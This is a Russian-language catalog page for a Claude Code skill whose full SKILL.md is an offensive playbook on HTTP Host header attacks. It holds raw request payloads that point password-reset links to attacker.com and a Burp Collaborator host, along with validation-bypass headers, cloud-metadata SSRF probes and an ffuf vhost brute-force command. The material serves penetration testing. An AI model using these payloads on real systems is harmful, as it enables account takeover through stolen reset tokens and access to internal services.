К основному содержанию
скилл CX Codex

http-host-header-attacks — скилл для Claude Code: как установить

Плейбук по атакам на заголовок HTTP Host: отравление сброса пароля, кеша, SSRF и обход виртуальных хостов. Помогает проверять доверие приложений к внешним заголовкам.

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add yaklang/hack-skills --skill http-host-header-attacks -a claude-code
Открыть на GitHub

Что делает http-host-header-attacks

Скилл содержит инструкции для поиска уязвимостей, возникающих из-за доверия бэкенда к заголовку Host. Когда приложение генерирует ссылки на основе входящего запроса, атакующий может перенаправить пользователя на сторонний ресурс. Так работает отравление сброса пароля: сервер вставляет чужой домен в тело письма, и секретный токен уходит злоумышленнику.

Внутри собраны схемы проверки веб-кеша, перебора виртуальных хостов утилитой ffuf и обхода ограничений обратных прокси. Для успешного отравления кеша критично, чтобы прокси-сервер исключал Host из ключа кэширования, но само веб-приложение отражало его в ответе. При фаззинге внутренних панелей скилл предлагает подстановку локальных адресов вроде 127.0.0.1 и localhost.

В инструкции детально описаны техники обхода валидации: подмена через заголовки X-Forwarded-Host и Forwarded, указание абсолютного URI в строке запроса и дублирование заголовка Host. Базовые модели часто забывают про двойные заголовки и точку в конце доменного имени, поэтому структурированный плейбук защищает от глупых пропусков при ручном аудите.

Какие задачи решает

  • Проверить перехват токенов сброса пароля через подмену заголовка Host
  • Обнаружить скрытые панели управления с помощью перебора виртуальных хостов
  • Протестировать отравление веб-кеша при исключении Host из ключа
  • Выявить внутренний SSRF через заголовки маршрутизации прокси
  • Обойти фильтрацию хоста с помощью заголовков X-Forwarded-Host и абсолютных URL

Примеры запросов агенту

  • Проверь эндпоинт сброса пароля на уязвимость к подмене заголовка Host
  • Покажи техники обхода фильтрации Host через заголовки X-Forwarded-Host и дублирование
  • Сгенерируй команду ffuf для поиска скрытых виртуальных хостов на заданном IP

Как установить http-host-header-attacks

1Через Skills CLI (Vercel)

npx skills add yaklang/hack-skills --skill http-host-header-attacks -a claude-code

2Вручную: положить файлы

~/.claude/skills/http-host-header-attacks/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/http-host-header-attacks/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Вопросы о http-host-header-attacks

Как установить http-host-header-attacks в Claude Code?

Выполните команду npx skills add yaklang/hack-skills --skill http-host-header-attacks -a claude-code. Другой вариант — поместить файл вручную по пути ~/.claude/skills/http-host-header-attacks/SKILL.md.

Что делает скилл http-host-header-attacks?

Скилл передаёт агенту методику тестирования атак на заголовок Host: перехват токенов сброса пароля, поиск скрытых виртуальных хостов, отравление веб-кеша и обход валидации.

Какие заголовки перезаписи проверяет этот плейбук?

Инструкция тестирует заголовки X-Forwarded-Host, X-Host, X-Original-URL, X-Rewrite-URL, Forwarded и X-Forwarded-Server.

Исходный текст

SKILL.md · MIT
---
name: http-host-header-attacks
description: >-
  HTTP Host header injection and routing abuse playbook. Use when the application
  trusts the Host header for generating URLs, routing requests, or access control
  — enabling password reset poisoning, web cache poisoning, SSRF via routing,
  and virtual host bypass.
---

# SKILL: HTTP Host Header Attacks — Injection & Routing Abuse

> **AI LOAD INSTRUCTION**: Covers Host header injection for password reset poisoning, cache poisoning, SSRF via routing, and virtual host bypass. Includes bypass techniques for Host validation and framework-specific behaviors. Base models often miss the double-Host trick, absolute-URI override, and connection-state attacks.

## 0. RELATED ROUTING

- [web-cache-deception](../web-cache-deception/SKILL.md) when Host injection is combined with cache behavior
- [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) when Host header routes requests to internal services
- [open-redirect](../open-redirect/SKILL.md) when Host injection causes redirect to attacker domain
- [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) when Host manipulation helps bypass WAF routing
- [request-smuggling](../request-smuggling/SKILL.md) when smuggling enables Host header manipulation past front-end validation
- [subdomain-takeover](../subdomain-takeover/SKILL.md) when Host routing exposes internal vhosts resolvable via subdomain

---

## 1. ATTACK SURFACE

The Host header is used by web applications and infrastructure for:

| Usage | Exploitation |
|---|---|
| URL generation (password reset links, email links) | Inject attacker domain → user clicks link to attacker |
| Virtual host routing | Spoof Host → access internal/admin vhost |
| Cache key component | Inject different Host → poison cache for all users |
| Reverse proxy routing | Host determines backend → SSRF to internal services |
| Access control decisions | Host-based ACLs can be bypassed |
| Canonical URL / SEO redirects | Host injection → open redirect |

---

## 2. PASSWORD RESET POISONING

The most common and impactful Host header attack.

### How It Works

```
1. Attacker requests password reset for [email protected]
2. Attacker modifies Host header in the reset request:
   POST /forgot-password HTTP/1.1
   Host: attacker.com    ← injected
   
   [email protected]

3. Server generates reset link using Host header value:
   "Click here to reset: https://attacker.com/reset?token=SECRET_TOKEN"

4. Victim receives email, clicks link → token sent to attacker
5. Attacker uses token on real target.com to reset password
```

### Testing

```http
POST /forgot-password HTTP/1.1
Host: attacker-collaborator.burpcollaborator.net
Content-Type: application/x-www-form-urlencoded

[email protected]
```

Check Burp Collaborator for incoming HTTP request with the reset token.

### Variants

- Some apps concatenate: `Host: target.com.attacker.com` → link becomes `https://target.com.attacker.com/reset?token=xxx`
- Some apps use only the port portion: `Host: target.com:@attacker.com` → parsed as `attacker.com` in some URL parsers

---

## 3. WEB CACHE POISONING VIA HOST

```
1. Attacker sends:
   GET / HTTP/1.1
   Host: attacker.com

2. If cache keys on URL path but NOT on Host header:
   → Response cached with attacker.com in generated links/content

3. Subsequent users requesting GET / receive the poisoned response
   → Links point to attacker.com, scripts load from attacker.com
```

**Key requirement**: Cache must not include Host header in cache key, but application must use Host in response body.

Test by sending two requests with different Host values and checking if the second request returns the first's Host in the response.

---

## 4. SSRF VIA HOST ROUTING

When a reverse proxy uses Host header to route to backends:

```
GET /api/internal HTTP/1.1
Host: internal-admin-panel.local

→ Reverse proxy routes request to internal-admin-panel.local
→ Attacker accesses internal service
```

Common in:
- Nginx `proxy_pass` based on `$host`
- Apache `ProxyPass` with virtual host routing
- Kubernetes Ingress controllers
- Cloud load balancers

---

## 5. VIRTUAL HOST BYPASS

Many servers host multiple applications on the same IP via virtual hosting:

```
Target:  Host: www.target.com  → public site
Hidden:  Host: admin.target.com → admin panel (not in public DNS)
Hidden:  Host: staging.target.com → staging environment
Hidden:  Host: localhost → server status page
```

### Discovery

```
1. Brute-force Host header with common vhost names:
   ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt

2. Try special values:
   Host: localhost
   Host: 127.0.0.1
   Host: admin
   Host: internal
   Host: intranet

3. Compare response size/content to identify different vhosts
```

---

## 6. BYPASS TECHNIQUES WHEN HOST IS VALIDATED

### 6.1 Override Headers

Many frameworks/proxies trust these headers over the Host header:

| Header | Frameworks That Trust It |
|---|---|
| `X-Forwarded-Host` | Symfony, Laravel, Django (when `USE_X_FORWARDED_HOST=True`), Rails (behind proxy) |
| `X-Host` | Some custom proxy configurations |
| `X-Original-URL` | IIS with URL Rewrite module |
| `X-Rewrite-URL` | IIS with URL Rewrite module |
| `Forwarded: host=attacker.com` | RFC 7239 compliant proxies |
| `X-Forwarded-Server` | Apache mod_proxy |

Test all simultaneously:

```http
GET /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Original-URL: /forgot-password
Forwarded: host=attacker.com
```

### 6.2 Absolute URL in Request Line

```http
GET http://attacker.com/path HTTP/1.1
Host: target.com
```

Per HTTP/1.1 spec (RFC 7230): if the request line contains an absolute URI, the Host header SHOULD be ignored. Some servers follow this, some don't — the mismatch between proxy and backend creates the vulnerability.

### 6.3 Double Host Header

```http
GET /path HTTP/1.1
Host: target.com
Host: attacker.com
```

Behavior varies:
- Some proxies validate first Host, app uses second
- Some servers concatenate: `target.com, attacker.com`
- RFC says: if both differ, return 400. Most servers don't.

### 6.4 Host with Port / Credentials

```http
Host: target.com:@attacker.com
Host: target.com:evil.com
Host: target.com#@attacker.com
Host: attacker.com%[email protected]
```

URL parsers may extract the "host" portion differently when credentials (`@`) or fragments (`#`) are present.

### 6.5 Trailing Dot

```http
Host: target.com.
```

DNS treats `target.com.` and `target.com` identically (trailing dot = FQDN). But Host validation may not strip the trailing dot → `target.com. ≠ target.com` in string comparison → bypass whitelist.

### 6.6 Tab / Space Injection

```http
Host: target.com\tattacker.com
Host: target.com attacker.com
```

Some parsers split on whitespace; the server may use `attacker.com` portion while validation checks `target.com` portion.

### 6.7 Wrap-Around / Enclosed Values

```http
Host: "attacker.com"
Host: <attacker.com>
```

Quoted or bracketed values may be stripped by the app but not by the validator.

---

## 7. FRAMEWORK-SPECIFIC BEHAVIOR

| Framework | Host Source | Gotcha |
|---|---|---|
| **PHP** | `$_SERVER['HTTP_HOST']` (raw header, directly injectable) | `SERVER_NAME` is safer only with `UseCanonicalName On` |
| **Django** | `HttpRequest.get_host()` checks X-Forwarded-Host first (if enabled) | `USE_X_FORWARDED_HOST=True` bypasses `ALLOWED_HOSTS` |
| **Rails** | `request.host` from Host header; trusts `X-Forwarded-Host` behind proxy | Rails 6+ `HostAuthorization` middleware mitigates |
| **Node/Express** | `req.hostname` / `req.headers.host`; with `trust proxy` uses X-Forwarded-Host | No built-in host validation |

---

## 8. CONNECTION-STATE ATTACKS

A sophisticated variant exploiting HTTP keep-alive:

```
Connection 1:
  Request 1: GET / HTTP/1.1    ← Valid Host: target.com
              Host: target.com     → Proxy validates, forwards, keeps connection open

  Request 2: GET /admin HTTP/1.1  ← Evil Host on SAME connection
              Host: evil.com       → Some proxies skip validation on subsequent requests
                                     (they validated the connection on first request)
```

This works against proxies that perform Host validation only on the first request of a keep-alive connection.

### Testing

```
1. Use Burp Repeater with "Connection: keep-alive"
2. Send normal request first
3. On same connection, send request with manipulated Host
4. Check if second request is processed differently
```

---

## 9. HOST HEADER ATTACK DECISION TREE

```
Application uses Host header in responses/behavior?
│
├── Test direct Host injection
│   ├── Change Host to attacker domain → reflected in response?
│   │   ├── YES → Check impact:
│   │   │   ├── In password reset emails? → PASSWORD RESET POISONING
│   │   │   ├── In cached responses? → WEB CACHE POISONING
│   │   │   ├── In redirects? → OPEN REDIRECT
│   │   │   └── In script/link URLs? → XSS VIA HOST
│   │   └── NO (400/403/different response) → Host is validated
│   │
│   └── Host validated? Try bypasses:
│       ├── X-Forwarded-Host header
│       ├── X-Host / X-Original-URL / Forwarded header
│       ├── Absolute URL in request line
│       ├── Double Host header
│       ├── Host: target.com:@attacker.com (URL parser confusion)
│       ├── Host: target.com. (trailing dot)
│       ├── Tab/space injection in Host value
│       └── Connection-state attack (valid first request, evil second)
│
├── Test virtual host enumeration
│   ├── Brute-force Host values against target IP
│   ├── Try: localhost, admin, staging, internal, intranet
│   └── Compare response sizes for different Host values
│
├── Test SSRF via Host routing
│   ├── Host: 127.0.0.1 → internal service?
│   ├── Host: internal-hostname.local → internal routing?
│   └── Host: 169.254.169.254 → cloud metadata?
│
└── No Host-based behavior found
    └── Check if app uses Host in server-side operations
        (email generation, webhook URLs, API callbacks)
```

---

## 10. TRICK NOTES — WHAT AI MODELS MISS

1. **Password reset poisoning doesn't require the victim to be logged in** — you request the reset, the victim just clicks the link. The token lands on your server.
2. **X-Forwarded-Host is the #1 missed bypass**: Most Host validation checks `Host` header but frameworks silently prefer `X-Forwarded-Host` when behind a proxy.
3. **Double Host header is protocol-valid but behavior-undefined**: RFC says reject with 400, but almost no server actually does this. The mismatch between proxy and app is the vulnerability.
4. **Absolute URI overrides Host per RFC**: `GET http://evil.com/path HTTP/1.1\nHost: target.com` — the spec says use the request-line URI. But not all implementations agree.
5. **Cache poisoning via Host requires the cache to exclude Host from the key**: Most CDNs include Host in the cache key. But custom Varnish/Nginx caches may not. Also test with `X-Forwarded-Host` as cache key differentiator.
6. **Connection-state attacks are rarely tested**: Automated scanners don't test keep-alive behavior. Manual testing via Burp Repeater's connection reuse is essential.
7. **DNS rebinding + Host attacks**: If you control DNS, point your domain to the target's IP → your domain resolves to their server → Host header says your domain, but request hits their server. Useful for bypassing IP-based access controls.

© yaklang · MIT · yaklang/hack-skills

Похожие скиллы

Всё по теме «Безопасность» →
testing-for-host-header-injection mahipal Проверяет веб-приложение на инъекции HTTP-заголовка Host и связанные риски сброса пароля, отравления кэша, SSRF и маршрутизации виртуальных хостов. CX Codex +1 306установок flutter-use-http-package flutter Скилл помогает добавить в Flutter-приложение запросы к REST API через пакет http и обработать JSON-ответ. Пригодится для загрузки и отправки данных. CX Codex +1 36 100установок extension-http-outcalls caffeinelabs Скилл для HTTP-запросов из бэкенд-канистры к внешним API. Следит, чтобы каждый запрос был ограничен на стороне провайдера. CX Codex +1 28 100установок convex-http-actions waynesutton Добавляет HTTP-эндпоинты в convex/http.ts: приём вебхуков с проверкой подписи, REST-маршруты, CORS, стриминг и загрузка файлов. CX Codex +1 2 700установок vtex-io-http-routes vtex Помогает проектировать HTTP-эндпоинты бэкенд-сервиса VTEX IO: границы роутов, middleware, валидацию запросов и форму ответа. CX Codex +1 1 100установок fix-security-vulnerabilities-with-strix usestrix Скилл разбирает подтверждённые Strix-уязвимости, исправляет их причину и повторно запускает проверку. Подойдёт после CLI- или cloud-сканирования. CX Codex +1 15 700установок

Из того же набора93

csv-formula-injection Скилл для проверки того, как выгрузки в CSV и таблицы реагируют на формулы из пользовательских полей. Нужен при тестировании отчётов и экспортов. CX Codex +1 3 600установок expression-language-injection Плейбук по инъекциям Expression Language для тестирования безопасности в Java. Помогает находить и проверять уязвимости в SpEL, OGNL и Java EL при аудите веб-приложений. CX Codex +1 3 600установок dependency-confusion Проверяет риск dependency confusion в манифестах и CI. Нужен для аудита npm, pip, RubyGems, Maven, Composer и Docker. CX Codex +1 3 600установок subdomain-takeover Плейбук по поиску висящих CNAME, NS и MX-записей и захвату ресурсов, которые за ними стоят. Пригодится на пентесте и в баг-баунти. CX Codex +1 3 600установок web-cache-deception Скилл помогает проверять кэширование авторизованных страниц и искать условия для отравления кэша. Пригодится при аудите CDN, обратного прокси или кэширования приложения. CX Codex +1 3 600установок mobile-ssl-pinning-bypass Плейбук по обходу SSL pinning в мобильных приложениях: методы для Android и iOS, отдельные приёмы под Flutter, React Native и Xamarin. CX Codex +1 3 600установок insecure-source-code-management Находит забытые репозитории .git, .svn, .hg и открытые дампы конфигураций вроде .env. Помогает извлечь исходный код при авторизованном аудите безопасности. CX Codex +1 3 600установок crlf-injection Плейбук по CRLF-инъекциям: подстановка символов возврата каретки и перевода строки в заголовки ответа, редиректы и логи. Пригодится на пентесте, когда сканеры молчат. CX Codex +1 3 600установок

Спонсоры проекта

Компании, которые помогают держать аналитику открытой